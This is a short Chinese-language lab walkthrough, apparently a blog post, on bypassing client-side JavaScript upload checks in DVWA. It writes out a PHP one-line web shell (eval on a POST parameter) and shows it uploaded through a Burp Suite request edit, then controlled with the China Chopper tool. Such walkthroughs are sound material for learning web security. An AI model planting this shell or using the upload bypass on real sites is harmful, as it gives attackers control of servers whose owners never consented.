前言
通常再一個web程式中，一般會存在登陸註冊功能，登陸後一般會有上傳頭像等功能，如果上傳驗證不嚴格就可能造成攻擊者直接上傳木馬，進而控制整個web業務控制權。下面通過例項，如果程式只進行了客戶端JavaScript檢測，我們們如何來繞過。
正文
工具準備：DVWA程式，burpsuite，中國菜刀。
首先本地建立一個.txt文件，裡面寫入我們們的一句話木馬，然後將字尾名改為.php,一句話木馬為
<?php eval($_POST[-7]);?> //連線菜刀的密碼為-7
然後開啟DVWA程式，將安全模式改為medium(中級),點選 File Upload模組，然後將我們們剛才建立的一句話.php檔案上傳，然後我們們發現被阻止了，只允許上傳JPEG和PNG兩種格式。
接下來。我們們將寫入一句話的檔案，字尾改為.png格式，然後通過burpsuite抓包
然後我們們發現，放行後，檔案成功上傳
然後我們們去根目錄找一找，果然找到了我們們上傳的檔案
接下來，開啟中國菜刀，輸入上傳木馬的路徑，輸入密碼，發現獲取到目標網站的webshell
總結
一，找到檔案上傳點，測試發現存在上傳漏洞。
二，發現只進行了客戶端JavaScript檢測。
三，通過burpsuite 抓包，修改檔案字尾名繞過檢測，上傳一句話木馬。
四，通過中國菜刀進行連線
五，獲取到目標網站webshell